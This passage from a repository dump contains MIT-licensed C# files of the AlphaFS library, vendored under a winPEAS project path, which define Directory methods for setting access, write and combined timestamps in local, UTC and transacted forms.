This value is expressed in local time. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if does not refer to a reparse point. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void SetLastAccessTimeTransacted(KernelTransaction transaction, string path, DateTime lastAccessTime, bool modifyReparsePoint, PathFormat pathFormat) { File.SetFsoDateTimeCore(transaction, false, path, null, lastAccessTime.ToUniversalTime(), null, modifyReparsePoint, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Time/Directory.SetLastAccessTimeUtc.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { #region .NET /// Sets the date and time, in coordinated universal time (UTC), that the specified directory was last accessed. /// The directory for which to set the access date and time information. /// A containing the value to set for the last access date and time of . This value is expressed in UTC time. [SecurityCritical] public static void SetLastAccessTimeUtc(string path, DateTime lastAccessTimeUtc) { File.SetFsoDateTimeCore(null, false, path, null, lastAccessTimeUtc, null, false, PathFormat.RelativePath); } #endregion // .NET /// [AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the specified directory was last accessed. /// The directory for which to set the access date and time information. /// A containing the value to set for the last access date and time of . This value is expressed in UTC time. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void SetLastAccessTimeUtc(string path, DateTime lastAccessTimeUtc, PathFormat pathFormat) { File.SetFsoDateTimeCore(null, false, path, null, lastAccessTimeUtc, null, false, pathFormat); } /// [AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the specified directory was last accessed. /// The directory for which to set the access date and time information. /// A containing the value to set for the last access date and time of . This value is expressed in UTC time. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if does not refer to a reparse point. [SecurityCritical] public static void SetLastAccessTimeUtc(string path, DateTime lastAccessTimeUtc, bool modifyReparsePoint) { File.SetFsoDateTimeCore(null, false, path, null, lastAccessTimeUtc, null, modifyReparsePoint, PathFormat.RelativePath); } /// [AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the specified directory was last accessed. /// The directory for which to set the access date and time information. /// A containing the value to set for the last access date and time of . This value is expressed in UTC time. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if does not refer to a reparse point. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void SetLastAccessTimeUtc(string path, DateTime lastAccessTimeUtc, bool modifyReparsePoint, PathFormat pathFormat) { File.SetFsoDateTimeCore(null, false, path, null, lastAccessTimeUtc, null, modifyReparsePoint, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Time/Directory.SetLastAccessTimeUtcTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the specified directory was last accessed. /// The transaction. /// The directory for which to set the access date and time information. /// A containing the value to set for the last access date and time of . This value is expressed in UTC time. [SecurityCritical] public static void SetLastAccessTimeUtcTransacted(KernelTransaction transaction, string path, DateTime lastAccessTimeUtc) { File.SetFsoDateTimeCore(transaction, false, path, null, lastAccessTimeUtc, null, false, PathFormat.RelativePath); } /// [AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the specified directory was last accessed. /// The transaction. /// The directory for which to set the access date and time information. /// A containing the value to set for the last access date and time of . This value is expressed in UTC time. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void SetLastAccessTimeUtcTransacted(KernelTransaction transaction, string path, DateTime lastAccessTimeUtc, PathFormat pathFormat) { File.SetFsoDateTimeCore(transaction, false, path, null, lastAccessTimeUtc, null, false, pathFormat); } /// [AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the specified directory was last accessed. /// The transaction. /// The directory for which to set the access date and time information. /// A containing the value to set for the last access date and time of . This value is expressed in UTC time. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if does not refer to a reparse point. [SecurityCritical] public static void SetLastAccessTimeUtcTransacted(KernelTransaction transaction, string path, DateTime lastAccessTimeUtc, bool modifyReparsePoint) { File.SetFsoDateTimeCore(transaction, false, path, null, lastAccessTimeUtc, null, modifyReparsePoint, PathFormat.RelativePath); } /// [AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the specified directory was last accessed. /// The transaction. /// The directory for which to set the access date and time information. /// A containing the value to set for the last access date and time of . This value is expressed in UTC time. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if does not refer to a reparse point. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void SetLastAccessTimeUtcTransacted(KernelTransaction transaction, string path, DateTime lastAccessTimeUtc, bool modifyReparsePoint, PathFormat pathFormat) { File.SetFsoDateTimeCore(transaction, false, path, null, lastAccessTimeUtc, null, modifyReparsePoint, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Time/Directory.SetLastWriteTime.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { #region .NET /// Sets the date and time that the specified directory was last written to. /// The directory for which to set the date and time information. /// A containing the value to set for the last write date and time of . This value is expressed in local time. [SecurityCritical] public static void SetLastWriteTime(string path, DateTime lastWriteTime) { File.SetFsoDateTimeCore(null, false, path, null, null, lastWriteTime.ToUniversalTime(), false, PathFormat.RelativePath); } #endregion // .NET /// [AlphaFS] Sets the date and time that the specified directory was last written to. /// The directory for which to set the date and time information. /// A containing the value to set for the last write date and time of . This value is expressed in local time. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void SetLastWriteTime(string path, DateTime lastWriteTime, PathFormat pathFormat) { File.SetFsoDateTimeCore(null, false, path, null, null, lastWriteTime.ToUniversalTime(), false, pathFormat); } /// [AlphaFS] Sets the date and time that the specified directory was last written to. /// The directory for which to set the date and time information. /// A containing the value to set for the last write date and time of . This value is expressed in local time. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if does not refer to a reparse point. [SecurityCritical] public static void SetLastWriteTime(string path, DateTime lastWriteTime, bool modifyReparsePoint) { File.SetFsoDateTimeCore(null, false, path, null, null, lastWriteTime.ToUniversalTime(), modifyReparsePoint, PathFormat.RelativePath); } /// [AlphaFS] Sets the date and time that the specified directory was last written to. /// The directory for which to set the date and time information. /// A containing the value to set for the last write date and time of . This value is expressed in local time. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if does not refer to a reparse point. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void SetLastWriteTime(string path, DateTime lastWriteTime, bool modifyReparsePoint, PathFormat pathFormat) { File.SetFsoDateTimeCore(null, false, path, null, null, lastWriteTime.ToUniversalTime(), modifyReparsePoint, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Time/Directory.SetLastWriteTimeTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Sets the date and time that the specified directory was last written to. /// The transaction. /// The directory for which to set the date and time information. /// A containing the value to set for the last write date and time of . This value is expressed in local time. [SecurityCritical] public static void SetLastWriteTimeTransacted(KernelTransaction transaction, string path, DateTime lastWriteTime) { File.SetFsoDateTimeCore(transaction, false, path, null, null, lastWriteTime.ToUniversalTime(), false, PathFormat.RelativePath); } /// [AlphaFS] Sets the date and time that the specified directory was last written to. /// The transaction. /// The directory for which to set the date and time information. /// A containing the value to set for the last write date and time of . This value is expressed in local time. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void SetLastWriteTimeTransacted(KernelTransaction transaction, string path, DateTime lastWriteTime, PathFormat pathFormat) { File.SetFsoDateTimeCore(transaction, false, path, null, null, lastWriteTime.ToUniversalTime(), false, pathFormat); } /// [AlphaFS] Sets the date and time that the specified directory was last written to. /// The transaction. /// The directory for which to set the date and time information. /// A containing the value to set for the last write date and time of . This value is expressed in local time. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if does not refer to a reparse point. [SecurityCritical] public static void SetLastWriteTimeTransacted(KernelTransaction transaction, string path, DateTime lastWriteTime, bool modifyReparsePoint) { File.SetFsoDateTimeCore(transaction, false, path, null, null, lastWriteTime.ToUniversalTime(), modifyReparsePoint, PathFormat.RelativePath); } /// [AlphaFS] Sets the date and time that the specified directory was last written to. /// The transaction. /// The directory for which to set the date and time information. /// A containing the value to set for the last write date and time of . This value is expressed in local time. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if does not refer to a reparse point. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void SetLastWriteTimeTransacted(KernelTransaction transaction, string path, DateTime lastWriteTime, bool modifyReparsePoint, PathFormat pathFormat) { File.SetFsoDateTimeCore(transaction, false, path, null, null, lastWriteTime.ToUniversalTime(), modifyReparsePoint, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Time/Directory.SetLastWriteTimeUtc.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { #region .NET /// Sets the date and time, in coordinated universal time (UTC), that the specified directory was last written to. /// The directory for which to set the date and time information. /// A containing the value to set for the last write date and time of . This value is expressed in UTC time. [SecurityCritical] public static void SetLastWriteTimeUtc(string path, DateTime lastWriteTimeUtc) { File.SetFsoDateTimeCore(null, false, path, null, null, lastWriteTimeUtc, false, PathFormat.RelativePath); } #endregion // .NET /// [AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the specified directory was last written to. /// The directory for which to set the date and time information. /// A containing the value to set for the last write date and time of . This value is expressed in UTC time. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void SetLastWriteTimeUtc(string path, DateTime lastWriteTimeUtc, PathFormat pathFormat) { File.SetFsoDateTimeCore(null, false, path, null, null, lastWriteTimeUtc, false, pathFormat); } /// [AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the specified directory was last written to. /// The directory for which to set the date and time information. /// A containing the value to set for the last write date and time of . This value is expressed in UTC time. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if does not refer to a reparse point. [SecurityCritical] public static void SetLastWriteTimeUtc(string path, DateTime lastWriteTimeUtc, bool modifyReparsePoint) { File.SetFsoDateTimeCore(null, false, path, null, null, lastWriteTimeUtc, modifyReparsePoint, PathFormat.RelativePath); } /// [AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the specified directory was last written to. /// The directory for which to set the date and time information. /// A containing the value to set for the last write date and time of . This value is expressed in UTC time. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if does not refer to a reparse point. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void SetLastWriteTimeUtc(string path, DateTime lastWriteTimeUtc, bool modifyReparsePoint, PathFormat pathFormat) { File.SetFsoDateTimeCore(null, false, path, null, null, lastWriteTimeUtc, modifyReparsePoint, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Time/Directory.SetLastWriteTimeUtcTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the specified directory was last written to. /// The transaction. /// The directory for which to set the date and time information. /// A containing the value to set for the last write date and time of . This value is expressed in UTC time. [SecurityCritical] public static void SetLastWriteTimeUtcTransacted(KernelTransaction transaction, string path, DateTime lastWriteTimeUtc) { File.SetFsoDateTimeCore(transaction, false, path, null, null, lastWriteTimeUtc, false, PathFormat.RelativePath); } /// [AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the specified directory was last written to. /// The transaction. /// The directory for which to set the date and time information. /// A containing the value to set for the last write date and time of . This value is expressed in UTC time. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void SetLastWriteTimeUtcTransacted(KernelTransaction transaction, string path, DateTime lastWriteTimeUtc, PathFormat pathFormat) { File.SetFsoDateTimeCore(transaction, false, path, null, null, lastWriteTimeUtc, false, pathFormat); } /// [AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the specified directory was last written to. /// The transaction. /// The directory for which to set the date and time information. /// A containing the value to set for the last write date and time of . This value is expressed in UTC time. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if does not refer to a reparse point. [SecurityCritical] public static void SetLastWriteTimeUtcTransacted(KernelTransaction transaction, string path, DateTime lastWriteTimeUtc, bool modifyReparsePoint) { File.SetFsoDateTimeCore(transaction, false, path, null, null, lastWriteTimeUtc, modifyReparsePoint, PathFormat.RelativePath); } /// [AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the specified directory was last written to. /// The transaction. /// The directory for which to set the date and time information. /// A containing the value to set for the last write date and time of . This value is expressed in UTC time. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if does not refer to a reparse point. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void SetLastWriteTimeUtcTransacted(KernelTransaction transaction, string path, DateTime lastWriteTimeUtc, bool modifyReparsePoint, PathFormat pathFormat) { File.SetFsoDateTimeCore(transaction, false, path, null, null, lastWriteTimeUtc, modifyReparsePoint, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Time/Directory.SetTimestamps.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Sets all the date and time stamps for the specified directory, at once. /// The directory for which to set the dates and times information. /// A containing the value to set for the creation date and time of . This value is expressed in local time. /// A containing the value to set for the last access date and time of . This value is expressed in local time. /// A containing the value to set for the last write date and time of . This value is expressed in local time. [SecurityCritical] public static void SetTimestamps(string path, DateTime creationTime, DateTime lastAccessTime, DateTime lastWriteTime) { File.SetFsoDateTimeCore(null, true, path, creationTime.ToUniversalTime(), lastAccessTime.ToUniversalTime(), lastWriteTime.ToUniversalTime(), false, PathFormat.RelativePath); } /// [AlphaFS] Sets all the date and time stamps for the specified directory, at once. /// The directory for which to set the dates and times information. /// A containing the value to set for the creation date and time of . This value is expressed in local time. /// A containing the value to set for the last access date and time of . This value is expressed in local time. /// A containing the value to set for the last write date and time of . This value is expressed in local time. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void SetTimestamps(string path, DateTime creationTime, DateTime lastAccessTime, DateTime lastWriteTime, PathFormat pathFormat) { File.SetFsoDateTimeCore(null, true, path, creationTime.ToUniversalTime(), lastAccessTime.ToUniversalTime(), lastWriteTime.ToUniversalTime(), false, pathFormat); } /// [AlphaFS] Sets all the date and time stamps for the specified directory, at once. /// The directory for which to set the dates and times information. /// A containing the value to set for the creation date and time of . This value is expressed in local time. /// A containing the value to set for the last access date and time of . This value is expressed in local time. /// A containing the value to set for the last write date and time of . This value is expressed in local time. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if does not refer to a reparse point. [SecurityCritical] public static void SetTimestamps(string path, DateTime creationTime, DateTime lastAccessTime, DateTime lastWriteTime, bool modifyReparsePoint) { File.SetFsoDateTimeCore(null, true, path, creationTime.ToUniversalTime(), lastAccessTime.ToUniversalTime(), lastWriteTime.ToUniversalTime(), modifyReparsePoint, PathFormat.RelativePath); } /// [AlphaFS] Sets all the date and time stamps for the specified directory, at once. /// The directory for which to set the dates and times information. /// A containing the value to set for the creation date and time of . This value is expressed in local time. /// A containing the value to set for the last access date and time of . This value is expressed in local time. /// A containing the value to set for the last write date and time of . This value is expressed in local time. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if does not refer to a reparse point. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void SetTimestamps(string path, DateTime creationTime, DateTime lastAccessTime, DateTime lastWriteTime, bool modifyReparsePoint, PathFormat pathFormat) { File.SetFsoDateTimeCore(null, true, path, creationTime.ToUniversalTime(), lastAccessTime.ToUniversalTime(), lastWriteTime.ToUniversalTime(), modifyReparsePoint, pathFormat); } /// [AlphaFS] Sets all the date and time stamps, in coordinated universal time (UTC), for the specified directory, at once. /// The directory for which to set the dates and times information. /// A containing the value to set for the creation date and time of . This value is expressed in UTC time. /// A containing the value to set for the last access date and time of . This value is expressed in UTC time. /// A containing the value to set for the last write date and time of . This value is expressed in UTC time. [SecurityCritical] public static void SetTimestampsUtc(string path, DateTime creationTimeUtc, DateTime lastAccessTimeUtc, DateTime lastWriteTimeUtc) { File.SetFsoDateTimeCore(null, true, path, creationTimeUtc, lastAccessTimeUtc, lastWriteTimeUtc, false, PathFormat.RelativePath); } /// [AlphaFS] Sets all the date and time stamps, in coordinated universal time (UTC), for the specified directory, at once. /// The directory for which to set the dates and times information. /// A containing the value to set for the creation date and time of . This value is expressed in UTC time. /// A containing the value to set for the last access date and time of . This value is expressed in UTC time. /// A containing the value to set for the last write date and time of . This value is expressed in UTC time. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void SetTimestampsUtc(string path, DateTime creationTimeUtc, DateTime lastAccessTimeUtc, DateTime lastWriteTimeUtc, PathFormat pathFormat) { File.SetFsoDateTimeCore(null, true, path, creationTimeUtc, lastAccessTimeUtc, lastWriteTimeUtc, false, pathFormat); } /// [AlphaFS] Sets all the date and time stamps, in coordinated universal time (UTC), for the specified directory, at once. /// The directory for which to set the dates and times information. /// A containing the value to set for the creation date and time of . This value is expressed in UTC time. /// A containing the value to set for the last access date and time of . This value is expressed in UTC time. /// A containing the value to set for the last write date and time of . This value is expressed in UTC time. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if does not refer to a reparse point. [SecurityCritical] public static void SetTimestampsUtc(string path, DateTime creationTimeUtc, DateTime lastAccessTimeUtc, DateTime lastWriteTimeUtc, bool modifyReparsePoint) { File.SetFsoDateTimeCore(null, true, path, creationTimeUtc, lastAccessTimeUtc, lastWriteTimeUtc, modifyReparsePoint, PathFormat.RelativePath); } /// [AlphaFS] Sets all the date and time stamps, in coordinated universal time (UTC), for the specified directory, at once. /// The directory for which to set the dates and times information. /// A containing the value to set for the creation date and time of . This value is expressed in UTC time. /// A containing the value to set for the last access date and time of . This value is expressed in UTC time. /// A containing the value to set for the last write date and time of . This value is expressed in UTC time. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if does not refer to a reparse point. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void SetTimestampsUtc(string path, DateTime creationTimeUtc, DateTime lastAccessTimeUtc, DateTime lastWriteTimeUtc, bool modifyReparsePoint, PathFormat pathFormat) { File.SetFsoDateTimeCore(null, true, path, creationTimeUtc, lastAccessTimeUtc, lastWriteTimeUtc, modifyReparsePoint, pathFormat); } #region Transactional /// [AlphaFS] Sets all the date and time stamps for the specified directory, at once. /// The transaction. /// The directory for which to set the dates and times information. /// A containing the value to set for the creation date and time of . This value is expressed in local time. /// A containing the value to set for the last access date and time of . This value is expressed in local time. /// A containing the value to set for the last write date and time of . This value is expressed in local time. [SecurityCritical] public static void SetTimestampsTransacted(KernelTransaction transaction, string path, DateTime creationTime, DateTime lastAccessTime, DateTime lastWriteTime) { File.SetFsoDateTimeCore(transaction, true, path, creationTime.ToUniversalTime(), lastAccessTime.ToUniversalTime(), lastWriteTime.ToUniversalTime(), false, PathFormat.RelativePath); } /// [AlphaFS] Sets all the date and time stamps for the specified directory, at once. /// The transaction. /// The directory for which to set the dates and times information. /// A containing the value to set for the creation date and time of . This value is expressed in local time. /// A containing the value to set for the last access date and time of . This value is expressed in local time. /// A containing the value to set for the last write date and time of . This value is expressed in local time. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void SetTimestampsTransacted(KernelTransaction transaction, string path, DateTime creationTime, DateTime lastAccessTime, DateTime lastWriteTime, PathFormat pathFormat) { File.SetFsoDateTimeCore(transaction, true, path, creationTime.ToUniversalTime(), lastAccessTime.ToUniversalTime(), lastWriteTime.ToUniversalTime(), false, pathFormat); } /// [AlphaFS] Sets all the date and time stamps for the specified directory, at once. /// The transaction. /// The directory for which to set the dates and times information. /// A containing the value to set for the creation date and time of . This value is expressed in local time. /// A containing the value to set for the last access date and time of . This value is expressed in local time. /// A containing the value to set for the last write date and time of . This value is expressed in local time. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if does not refer to a reparse point. [SecurityCritical] public static void SetTimestampsTransacted(KernelTransaction transaction, string path, DateTime creationTime, DateTime lastAccessTime, DateTime lastWriteTime, bool modifyReparsePoint) { File.SetFsoDateTimeCore(transaction, true, path, creationTime.ToUniversalTime(), lastAccessTime.ToUniversalTime(), lastWriteTime.ToUniversalTime(), modifyReparsePoint, PathFormat.RelativePath); } /// [AlphaFS] Sets all the date and time stamps for the specified directory, at once. /// The transaction. /// The directory for which to set the dates and times information. /// A containing the value to set for the creation date and time of . This value is expressed in local time. /// A containing the value to set for the last access date and time of . This value is expressed in local time. /// A containing the value to set for the last write date and time of . This value is expressed in local time. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if does not refer to a reparse point. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void SetTimestampsTransacted(KernelTransaction transaction, string path, DateTime creationTime, DateTime lastAccessTime, DateTime lastWriteTime, bool modifyReparsePoint, PathFormat pathFormat) { File.SetFsoDateTimeCore(transaction, true, path, creationTime.ToUniversalTime(), lastAccessTime.ToUniversalTime(), lastWriteTime.ToUniversalTime(), modifyReparsePoint, pathFormat); } /// [AlphaFS] Sets all the date and time stamps, in coordinated universal time (UTC), for the specified directory, at once. /// The transaction. /// The directory for which to set the dates and times information. /// A containing the value to set for the creation date and time of . This value is expressed in UTC time. /// A containing the value to set for the last access date and time of . This value is expressed in UTC time. /// A containing the value to set for the last write date and time of . This value is expressed in UTC time. [SecurityCritical] public static void SetTimestampsUtcTransacted(KernelTransaction transaction, string path, DateTime creationTimeUtc, DateTime lastAccessTimeUtc, DateTime lastWriteTimeUtc) { File.SetFsoDateTimeCore(transaction, true, path, creationTimeUtc, lastAccessTimeUtc, lastWriteTimeUtc, false, PathFormat.RelativePath); } /// [AlphaFS] Sets all the date and time stamps, in coordinated universal time (UTC), for the specified directory, at once. /// The transaction. 